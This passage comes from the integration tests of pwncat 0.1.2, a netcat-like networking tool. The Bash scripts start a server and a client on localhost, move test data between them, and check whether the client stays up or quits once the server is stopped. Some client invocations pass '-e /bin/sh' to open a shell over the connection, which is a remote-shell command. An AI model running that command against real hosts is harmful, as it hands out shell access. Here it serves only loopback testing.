"${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client shut down automatically # -------------------------------------------------------------------------------- print_h2 "(5/5) Test: Client shut down automatically" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "16" "16" "${curr_round}" "${RUNS}" done 100---udp---client_stays---when_server_is_killed---client_default---before_send.sh000077500000000000000000000171251414025024700417570ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### #data="abcdefghijklmnopqrstuvwxyz1234567890\\n" #data="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(3/5) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client stays alive # -------------------------------------------------------------------------------- print_h2 "(4/5) Test: Client stays alive" run "sleep 2" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client is still running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: Client # -------------------------------------------------------------------------------- print_h2 "(5/5) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done 101---udp---client_stays---when_server_is_killed---client_default---after_client_sent_data.sh000077500000000000000000000201521414025024700441600ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/6) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/6) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/6) Transfer Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(4/6) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client stays alive # -------------------------------------------------------------------------------- print_h2 "(5/6) Test: Client stays alive" run "sleep 2" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client is still running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: Client # -------------------------------------------------------------------------------- print_h2 "(6/6) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done 102---udp---client_stays---when_server_is_killed---client_default---after_server_sent_data.sh000077500000000000000000000203011414025024700442050ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/6) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/6) Start: Client" # Start Client print_info "Start Client" # UDP client must send something, otherwise the server doesn't know it is there # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "echo ' '" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/6) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(4/6) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Client stays alive # -------------------------------------------------------------------------------- print_h2 "(5/6) Test: Client stays alive" run "sleep 2" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client is still running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: Client # -------------------------------------------------------------------------------- print_h2 "(6/6) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done 103---udp---client_stays---when_server_is_killed---client_command---before_send.sh000077500000000000000000000175561414025024700417640ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/01-behaviour-quit--client#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### #data="abcdefghijklmnopqrstuvwxyz1234567890\\n" #data="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" 